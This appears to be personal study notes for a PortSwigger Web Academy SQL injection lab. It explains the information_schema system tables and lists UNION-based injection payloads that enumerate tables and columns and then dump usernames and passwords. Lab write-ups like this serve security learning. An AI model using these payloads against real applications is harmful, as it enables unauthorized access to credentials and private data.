> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-7.md).

# Lab 7

information\_schema.tables → tells you table names\
information\_schema.columns → tells you column names\
Then SELECT directly → dump the actual data

```
First find tables:

SELECT * FROM information_schema.tables

Then list columns from the table:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This does NOT select the actual data from the columns, this only shows the columns

To actually select the data, you need to do an additional query:
SELECT Username, Password FROM Users
```

{% hint style="info" %}
Reminder you can't do \* if you are using a UNION attack. You need to return the same amount of columns as the previous query. 
{% endhint %}

<figure><img src="/files/RUQ7wJuWkuH0VCNr4oRP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eVk7SOc4dsSVDbzu2AiE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oChMyUp75JmEYBKr6zKL" alt=""><figcaption></figcaption></figure>

### Solving It:

```
'+UNION+SELECT+'abc','def'--
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
```

#### What is information\_schema?

It's a **built-in read-only database** that every SQL database maintains about itself.

Think of it like a filing cabinet the database keeps for its own records:

```
The actual database:
└── your app's tables (products, users, orders)

information_schema (separate system database):
└── tables   → "here are all the tables that exist"
└── columns  → "here are all the columns in each table"
└── schemata → "here are all the databases"
```

It's not your app's data — it's the database's own internal documentation about its structure. Every modern database (MySQL, PostgreSQL, SQL Server) has it. Oracle doesn't use this name but has equivalent system tables.